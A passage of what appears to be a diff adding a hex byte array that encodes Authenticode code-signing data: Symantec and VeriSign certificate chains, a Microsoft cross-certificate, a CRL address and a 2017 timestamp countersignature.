0x18, 0x06, 0x03, 0x55, 0x04, 0x03, + 0x13, 0x11, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x50, 0x4B, + 0x49, 0x2D, 0x31, 0x2D, 0x35, 0x36, 0x37, 0x30, 0x1D, 0x06, 0x03, 0x55, + 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x96, 0x3B, 0x53, 0xF0, 0x79, 0x33, + 0x97, 0xAF, 0x7D, 0x83, 0xEF, 0x2E, 0x2B, 0xCC, 0xCA, 0xB7, 0x86, 0x1E, + 0x72, 0x66, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, + 0x16, 0x80, 0x14, 0x7F, 0xD3, 0x65, 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, + 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, + 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, + 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x13, 0x85, 0x1A, 0x1E, 0x69, + 0xA9, 0x37, 0xF7, 0xA0, 0xBD, 0xA4, 0xAF, 0x7E, 0x1D, 0x61, 0x53, 0xFE, + 0x9D, 0x8C, 0x5E, 0x0C, 0xA6, 0x75, 0x1E, 0x78, 0x17, 0x23, 0xDD, 0xFD, + 0xEC, 0x1A, 0x03, 0x55, 0x39, 0xFB, 0x71, 0x95, 0xC7, 0x65, 0x5A, 0xA7, + 0x8E, 0x30, 0xD2, 0x44, 0x5A, 0x61, 0xDB, 0x70, 0x6F, 0xDA, 0x21, 0x05, + 0xC2, 0x2E, 0x73, 0xBA, 0x49, 0xF1, 0xD1, 0x93, 0xFE, 0x5D, 0xC9, 0xCD, + 0x5E, 0x03, 0xE0, 0x89, 0x9E, 0x3F, 0x74, 0x1E, 0xD7, 0xF7, 0x38, 0x8B, + 0xA9, 0xD6, 0xCF, 0xBB, 0x35, 0x2F, 0x33, 0x58, 0xA8, 0x92, 0x56, 0xD1, + 0xC8, 0x4D, 0x3B, 0x82, 0xE6, 0x79, 0x84, 0x16, 0xFC, 0x28, 0xB0, 0xB1, + 0x47, 0xF3, 0x1D, 0xA2, 0x3E, 0xEE, 0x87, 0xD9, 0xA6, 0x7F, 0xA4, 0x56, + 0xA5, 0x3F, 0xAD, 0x84, 0x2E, 0x29, 0xDE, 0x7C, 0xBC, 0xA8, 0xAA, 0xA3, + 0x3D, 0x04, 0x01, 0xEA, 0xBA, 0x93, 0xA2, 0x0E, 0x50, 0x22, 0x29, 0x17, + 0x4C, 0x87, 0xE4, 0x3A, 0x11, 0x5F, 0xD6, 0xA4, 0x25, 0x89, 0x9B, 0x05, + 0x6B, 0x2F, 0xB4, 0xC9, 0x01, 0x4C, 0x27, 0x7B, 0x0B, 0xAC, 0x19, 0x05, + 0x22, 0xA0, 0x60, 0x15, 0x3F, 0xDA, 0xC9, 0xFB, 0x4D, 0x4C, 0x8F, 0xFB, + 0x72, 0x67, 0x77, 0xFD, 0x27, 0x94, 0xC7, 0xBA, 0x35, 0x0E, 0x88, 0x49, + 0xFE, 0x8D, 0xFD, 0x28, 0xAF, 0x4A, 0x12, 0xBD, 0x0D, 0xB3, 0x97, 0x05, + 0xDE, 0x44, 0x0C, 0x15, 0xFA, 0x36, 0x2B, 0x03, 0xDC, 0xC1, 0x50, 0x01, + 0xF1, 0xA1, 0x11, 0x5D, 0x14, 0xE5, 0xE2, 0xBD, 0x27, 0x4B, 0x54, 0xBE, + 0x2B, 0x84, 0x5E, 0x0F, 0xA6, 0xC3, 0x74, 0x05, 0x0A, 0xEF, 0x97, 0xC3, + 0x89, 0x22, 0xB1, 0x1F, 0x77, 0xF3, 0xBD, 0xCD, 0x43, 0xD4, 0xF1, 0x4C, + 0xA9, 0x3F, 0xB5, 0x8B, 0x84, 0xAF, 0x64, 0xF2, 0xD0, 0x14, 0x21, 0x30, + 0x82, 0x05, 0x9A, 0x30, 0x82, 0x03, 0x82, 0xA0, 0x03, 0x02, 0x01, 0x02, + 0x02, 0x0A, 0x61, 0x19, 0x93, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, + 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, + 0x05, 0x05, 0x00, 0x30, 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, + 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, + 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, + 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, + 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, + 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, + 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, + 0x04, 0x03, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x52, 0x6F, 0x6F, 0x74, + 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x31, 0x30, 0x32, 0x32, 0x32, 0x31, 0x39, + 0x32, 0x35, 0x31, 0x37, 0x5A, 0x17, 0x0D, 0x32, 0x31, 0x30, 0x32, 0x32, + 0x32, 0x31, 0x39, 0x33, 0x35, 0x31, 0x37, 0x5A, 0x30, 0x81, 0xCA, 0x31, + 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, + 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, + 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, + 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, + 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, + 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, + 0x30, 0x38, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, + 0x20, 0x32, 0x30, 0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, + 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, + 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, + 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, + 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, + 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, + 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, + 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, + 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x82, 0x01, + 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, + 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, + 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xAF, 0x24, 0x08, 0x08, 0x29, 0x7A, + 0x35, 0x9E, 0x60, 0x0C, 0xAA, 0xE7, 0x4B, 0x3B, 0x4E, 0xDC, 0x7C, 0xBC, + 0x3C, 0x45, 0x1C, 0xBB, 0x2B, 0xE0, 0xFE, 0x29, 0x02, 0xF9, 0x57, 0x08, + 0xA3, 0x64, 0x85, 0x15, 0x27, 0xF5, 0xF1, 0xAD, 0xC8, 0x31, 0x89, 0x5D, + 0x22, 0xE8, 0x2A, 0xAA, 0xA6, 0x42, 0xB3, 0x8F, 0xF8, 0xB9, 0x55, 0xB7, + 0xB1, 0xB7, 0x4B, 0xB3, 0xFE, 0x8F, 0x7E, 0x07, 0x57, 0xEC, 0xEF, 0x43, + 0xDB, 0x66, 0x62, 0x15, 0x61, 0xCF, 0x60, 0x0D, 0xA4, 0xD8, 0xDE, 0xF8, + 0xE0, 0xC3, 0x62, 0x08, 0x3D, 0x54, 0x13, 0xEB, 0x49, 0xCA, 0x59, 0x54, + 0x85, 0x26, 0xE5, 0x2B, 0x8F, 0x1B, 0x9F, 0xEB, 0xF5, 0xA1, 0x91, 0xC2, + 0x33, 0x49, 0xD8, 0x43, 0x63, 0x6A, 0x52, 0x4B, 0xD2, 0x8F, 0xE8, 0x70, + 0x51, 0x4D, 0xD1, 0x89, 0x69, 0x7B, 0xC7, 0x70, 0xF6, 0xB3, 0xDC, 0x12, + 0x74, 0xDB, 0x7B, 0x5D, 0x4B, 0x56, 0xD3, 0x96, 0xBF, 0x15, 0x77, 0xA1, + 0xB0, 0xF4, 0xA2, 0x25, 0xF2, 0xAF, 0x1C, 0x92, 0x67, 0x18, 0xE5, 0xF4, + 0x06, 0x04, 0xEF, 0x90, 0xB9, 0xE4, 0x00, 0xE4, 0xDD, 0x3A, 0xB5, 0x19, + 0xFF, 0x02, 0xBA, 0xF4, 0x3C, 0xEE, 0xE0, 0x8B, 0xEB, 0x37, 0x8B, 0xEC, + 0xF4, 0xD7, 0xAC, 0xF2, 0xF6, 0xF0, 0x3D, 0xAF, 0xDD, 0x75, 0x91, 0x33, + 0x19, 0x1D, 0x1C, 0x40, 0xCB, 0x74, 0x24, 0x19, 0x21, 0x93, 0xD9, 0x14, + 0xFE, 0xAC, 0x2A, 0x52, 0xC7, 0x8F, 0xD5, 0x04, 0x49, 0xE4, 0x8D, 0x63, + 0x47, 0x88, 0x3C, 0x69, 0x83, 0xCB, 0xFE, 0x47, 0xBD, 0x2B, 0x7E, 0x4F, + 0xC5, 0x95, 0xAE, 0x0E, 0x9D, 0xD4, 0xD1, 0x43, 0xC0, 0x67, 0x73, 0xE3, + 0x14, 0x08, 0x7E, 0xE5, 0x3F, 0x9F, 0x73, 0xB8, 0x33, 0x0A, 0xCF, 0x5D, + 0x3F, 0x34, 0x87, 0x96, 0x8A, 0xEE, 0x53, 0xE8, 0x25, 0x15, 0x02, 0x03, + 0x01, 0x00, 0x01, 0xA3, 0x81, 0xCB, 0x30, 0x81, 0xC8, 0x30, 0x11, 0x06, + 0x03, 0x55, 0x1D, 0x20, 0x04, 0x0A, 0x30, 0x08, 0x30, 0x06, 0x06, 0x04, + 0x55, 0x1D, 0x20, 0x00, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, + 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x0B, 0x06, + 0x03, 0x55, 0x1D, 0x0F, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x1D, + 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x7F, 0xD3, 0x65, + 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, + 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, + 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x62, 0xFB, 0x0A, 0x21, 0x5B, 0x7F, + 0x43, 0x6E, 0x11, 0xDA, 0x09, 0x54, 0x50, 0x6B, 0xF5, 0xD2, 0x96, 0x71, + 0xF1, 0x9E, 0x30, 0x55, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4E, 0x30, + 0x4C, 0x30, 0x4A, 0xA0, 0x48, 0xA0, 0x46, 0x86, 0x44, 0x68, 0x74, 0x74, + 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, + 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, + 0x69, 0x2F, 0x63, 0x72, 0x6C, 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, + 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, + 0x43, 0x6F, 0x64, 0x65, 0x56, 0x65, 0x72, 0x69, 0x66, 0x52, 0x6F, 0x6F, + 0x74, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, + 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, + 0x00, 0x81, 0x2A, 0x82, 0x16, 0x8C, 0x34, 0x67, 0x2B, 0xE5, 0x03, 0xEB, + 0x34, 0x7B, 0x8C, 0xA2, 0xA3, 0x50, 0x8A, 0xF4, 0x55, 0x86, 0xF1, 0x1E, + 0x8C, 0x8E, 0xAE, 0x7D, 0xEE, 0x03, 0x19, 0xCE, 0x72, 0x95, 0x18, 0x48, + 0xAD, 0x62, 0x11, 0xFD, 0x20, 0xFD, 0x3F, 0x47, 0x06, 0x01, 0x5A, 0xE2, + 0xE0, 0x6F, 0x8C, 0x15, 0x2C, 0x4E, 0x3C, 0x6A, 0x50, 0x6C, 0x0B, 0x36, + 0xA3, 0xCF, 0x7A, 0x0D, 0x9C, 0x42, 0xBC, 0x5C, 0xF8, 0x19, 0xD5, 0x60, + 0xE3, 0x69, 0xE6, 0xE2, 0x23, 0x41, 0x67, 0x8C, 0x68, 0x83, 0x76, 0x2B, + 0x8F, 0x93, 0xA3, 0x2A, 0xB5, 0x7F, 0xBE, 0x59, 0xFB, 0xA9, 0xC9, 0xB2, + 0x26, 0x8F, 0xCA, 0xA2, 0xF3, 0x82, 0x1B, 0x98, 0x3E, 0x91, 0x95, 0x27, + 0x97, 0x86, 0x61, 0xEE, 0x5B, 0x5D, 0x07, 0x6B, 0xCD, 0x86, 0xA8, 0xE2, + 0x65, 0x80, 0xA8, 0xE2, 0x15, 0xE2, 0xB2, 0xBE, 0x23, 0x05, 0x6A, 0xBA, + 0x0C, 0xF3, 0x47, 0x93, 0x4D, 0xAC, 0xA4, 0x8C, 0x07, 0x79, 0x39, 0xC0, + 0x61, 0x12, 0x3A, 0x05, 0x0D, 0x89, 0xA3, 0xEC, 0x9F, 0x57, 0x89, 0x84, + 0xFB, 0xEC, 0xCA, 0x7C, 0x47, 0x66, 0x14, 0x91, 0xD8, 0xB6, 0x0F, 0x19, + 0x5D, 0xE6, 0xB8, 0x4A, 0xAC, 0xBC, 0x47, 0xC8, 0x71, 0x43, 0x96, 0xE6, + 0x32, 0x20, 0xA5, 0xDC, 0x77, 0x86, 0xFD, 0x3C, 0xE3, 0x8B, 0x71, 0xDB, + 0x7B, 0x9B, 0x03, 0xFC, 0xB7, 0x1D, 0x32, 0x64, 0xEB, 0x16, 0x52, 0xA0, + 0x43, 0xA3, 0xFA, 0x2E, 0xAD, 0x59, 0x92, 0x4E, 0x7C, 0xC7, 0xF2, 0x33, + 0x42, 0x48, 0x38, 0x51, 0x3A, 0x7C, 0x38, 0xC7, 0x1B, 0x24, 0x22, 0x28, + 0x40, 0x1E, 0x1A, 0x46, 0x1F, 0x17, 0xDB, 0x18, 0xF7, 0xF0, 0x27, 0x35, + 0x6C, 0xB8, 0x63, 0xD9, 0xCD, 0xB9, 0x64, 0x5D, 0x2B, 0xA5, 0x5E, 0xEF, + 0xC6, 0x29, 0xB4, 0xF2, 0xC7, 0xF8, 0x21, 0xCC, 0x04, 0xBA, 0x57, 0xFD, + 0x01, 0xB6, 0xAB, 0xC6, 0x67, 0xF9, 0xE7, 0xD3, 0x99, 0x7F, 0xF4, 0xF5, + 0x22, 0xFA, 0x72, 0xF5, 0xFD, 0xFF, 0x3A, 0x1C, 0x42, 0x3A, 0xA1, 0xF9, + 0x80, 0x18, 0xA5, 0xEE, 0x8D, 0x1C, 0xD4, 0x66, 0x9E, 0x45, 0x01, 0xFE, + 0xAA, 0xEE, 0xFF, 0xFB, 0x17, 0x8F, 0x30, 0xF7, 0xF1, 0xCD, 0x29, 0xC5, + 0x9D, 0xEC, 0xB5, 0xD5, 0x49, 0x00, 0x3D, 0x85, 0xB8, 0xCB, 0xBB, 0x93, + 0x3A, 0x27, 0x6A, 0x49, 0xC0, 0x30, 0xAE, 0x66, 0xC9, 0xF7, 0x23, 0x28, + 0x32, 0x76, 0xF9, 0xA4, 0x83, 0x56, 0xC8, 0x48, 0xCE, 0x5A, 0x96, 0xAA, + 0xA0, 0xCC, 0x0C, 0xC4, 0x7F, 0xB4, 0x8E, 0x97, 0xAF, 0x6D, 0xE3, 0x54, + 0x27, 0xC3, 0x9F, 0x86, 0xC0, 0xD6, 0xE4, 0x73, 0x08, 0x97, 0x05, 0xDB, + 0xD0, 0x54, 0x62, 0x5E, 0x03, 0x48, 0xC2, 0xD5, 0x9F, 0x7F, 0xA7, 0x66, + 0x8C, 0xD0, 0x9D, 0xB0, 0x4F, 0xD4, 0xD3, 0x98, 0x5F, 0x4B, 0x7A, 0xC9, + 0x7F, 0xB2, 0x29, 0x52, 0xD0, 0x12, 0x80, 0xC7, 0x0F, 0x54, 0xB6, 0x1E, + 0x67, 0xCD, 0xC6, 0xA0, 0x6C, 0x11, 0x03, 0x84, 0xD3, 0x48, 0x75, 0xE7, + 0x2A, 0xFE, 0xB0, 0x3B, 0x6E, 0x0A, 0x3A, 0xA6, 0x6B, 0x76, 0x99, 0x05, + 0xA3, 0xF1, 0x77, 0x68, 0x61, 0x33, 0x14, 0x47, 0x06, 0xFC, 0x53, 0x7F, + 0x52, 0xBD, 0x92, 0x14, 0x5C, 0x4A, 0x24, 0x6A, 0x67, 0x8C, 0xAF, 0x8D, + 0x90, 0xAA, 0xD0, 0xF6, 0x79, 0x21, 0x1B, 0x93, 0x26, 0x7C, 0xC3, 0xCE, + 0x1E, 0xBD, 0x88, 0x38, 0x92, 0xAE, 0x45, 0xC6, 0x19, 0x6A, 0x49, 0x50, + 0xB3, 0x05, 0xF8, 0xAE, 0x59, 0x37, 0x8A, 0x6A, 0x25, 0x03, 0x94, 0xB1, + 0x59, 0x81, 0x50, 0xE8, 0xBA, 0x83, 0x80, 0xB7, 0x23, 0x35, 0xF4, 0x76, + 0xB9, 0x67, 0x1D, 0x59, 0x18, 0xAD, 0x20, 0x8D, 0x94, 0x31, 0x82, 0x04, + 0x3C, 0x30, 0x82, 0x04, 0x38, 0x02, 0x01, 0x01, 0x30, 0x81, 0x93, 0x30, + 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, + 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, + 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, + 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, + 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, 0x6D, 0x61, + 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, + 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, + 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, + 0x63, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x53, 0x48, + 0x41, 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, + 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x02, 0x10, 0x2A, 0xD2, + 0x2E, 0x07, 0x1F, 0x61, 0xCA, 0xFE, 0x78, 0x84, 0xBF, 0xA4, 0x3A, 0x31, + 0xB2, 0x1B, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, + 0x00, 0xA0, 0x70, 0x30, 0x10, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, + 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x02, 0x30, 0x00, 0x30, 0x19, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, + 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, + 0x30, 0x1C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, + 0x01, 0x0B, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, + 0x01, 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x2D, + 0xFA, 0xF5, 0x42, 0x60, 0x09, 0xFB, 0x3A, 0x4A, 0x53, 0x02, 0xC1, 0x4C, + 0xB9, 0x30, 0x9A, 0xE1, 0x20, 0x7D, 0x44, 0x30, 0x0D, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, + 0x01, 0x00, 0xA1, 0x57, 0x78, 0x4D, 0x95, 0x21, 0x2A, 0xA1, 0xA6, 0x9A, + 0xD9, 0x69, 0x16, 0x1D, 0x95, 0x59, 0x6F, 0xD0, 0xDD, 0x4C, 0xBF, 0x3B, + 0xD6, 0x7E, 0x5E, 0x86, 0x39, 0x41, 0xEB, 0x52, 0x3A, 0xDF, 0x1B, 0xAC, + 0x44, 0x96, 0x08, 0x06, 0x0A, 0x07, 0x01, 0xD1, 0xDE, 0x34, 0xC0, 0x93, + 0xB2, 0xB2, 0xB8, 0xED, 0x05, 0xDE, 0xB5, 0xF7, 0xC5, 0xD5, 0x32, 0x2E, + 0xC7, 0x32, 0xBF, 0x3B, 0xD8, 0xEC, 0x4D, 0xC6, 0xF2, 0x2A, 0xFF, 0x7D, + 0xA2, 0x9C, 0x8B, 0xF2, 0x16, 0xBA, 0x6C, 0x3E, 0x3E, 0x9B, 0x49, 0x9E, + 0x00, 0x28, 0x80, 0x55, 0xDC, 0xFE, 0x6E, 0x1F, 0x74, 0x5F, 0x98, 0x1A, + 0x39, 0x3A, 0xD3, 0xE2, 0xD2, 0x5B, 0x5C, 0x22, 0x51, 0xF3, 0xA6, 0xF6, + 0x1D, 0x76, 0x19, 0x8C, 0x1C, 0x82, 0x31, 0xCE, 0x65, 0xF3, 0x10, 0x23, + 0xD6, 0xAD, 0x60, 0x2E, 0x43, 0x6C, 0x75, 0x30, 0xD6, 0x9A, 0x85, 0x2B, + 0x33, 0x22, 0x44, 0x03, 0x6D, 0xC9, 0x9A, 0xB2, 0x39, 0x8A, 0x34, 0xBF, + 0xDD, 0xAF, 0xA3, 0x0B, 0xB8, 0x7F, 0x2D, 0x50, 0x17, 0xD5, 0x56, 0x75, + 0x27, 0x6A, 0xF8, 0xB8, 0xD7, 0x5E, 0x27, 0x74, 0xAC, 0x91, 0x7C, 0xEE, + 0xA4, 0x42, 0x80, 0xD5, 0xF8, 0xFB, 0xB7, 0xD8, 0x70, 0x71, 0x70, 0xE6, + 0x3D, 0x2D, 0x51, 0x5C, 0x5A, 0xAB, 0xD7, 0x3F, 0x68, 0x0B, 0xE2, 0x93, + 0x80, 0xED, 0x7C, 0x8A, 0x94, 0x06, 0x2B, 0xE9, 0xCB, 0xBF, 0xD4, 0x4B, + 0x76, 0x6E, 0x3C, 0xAC, 0x01, 0xA6, 0xB3, 0xF9, 0x0D, 0xB2, 0x6C, 0x24, + 0x4B, 0x51, 0x63, 0x2D, 0x79, 0x15, 0x58, 0x4B, 0x6C, 0x5B, 0x8B, 0x99, + 0x4B, 0xCC, 0xAA, 0x07, 0x08, 0xC9, 0xA3, 0x43, 0xAE, 0xD5, 0x27, 0x8F, + 0xD7, 0x35, 0x85, 0x6B, 0xE8, 0x69, 0xF4, 0xF1, 0x8D, 0x3D, 0x8F, 0x00, + 0x71, 0x52, 0x85, 0x84, 0x02, 0x0D, 0xA1, 0x82, 0x02, 0x0B, 0x30, 0x82, + 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, + 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, + 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, + 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, + 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, + 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, + 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, + 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, + 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, + 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, + 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, + 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, + 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, + 0x31, 0x0F, 0x17, 0x0D, 0x31, 0x37, 0x31, 0x32, 0x30, 0x31, 0x30, 0x35, + 0x34, 0x30, 0x35, 0x34, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, + 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x48, 0xE9, + 0xD3, 0xB8, 0xB2, 0x40, 0x23, 0x3E, 0x65, 0x95, 0x5D, 0xD2, 0x19, 0x40, + 0xAF, 0x08, 0x08, 0x5F, 0x02, 0xDF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, + 0x00, 0x89, 0xF5, 0x8C, 0x74, 0xAD, 0xAF, 0x17, 0x5E, 0x03, 0xA0, 0x82, + 0x0D, 0xBC, 0x1D, 0xBC, 0x29, 0x15, 0x66, 0x7B, 0x43, 0x94, 0xEA, 0x86, + 0x4F, 0x8A, 0x29, 0x08, 0x4D, 0x78, 0x92, 0x2D, 0x4F, 0x49, 0x66, 0x6F, + 0x5E, 0x0C, 0x83, 0x5D, 0xB3, 0x25, 0xDF, 0xAB, 0x99, 0xC8, 0xEC, 0xBB, + 0x90, 0x07, 0x7C, 0xC5, 0xBD, 0x7A, 0x86, 0x6A, 0x84, 0x71, 0x65, 0xE9, + 0x63, 0xD7, 0x1E, 0x28, 0xBF, 0x3C, 0xB9, 0x1C, 0xE5, 0xFD, 0xC9, 0x92, + 0x03, 0xC9, 0x5C, 0x67, 0x35, 0x81, 0xA9, 0x24, 0x4E, 0xDA, 0xE9, 0x1E, + 0x8D, 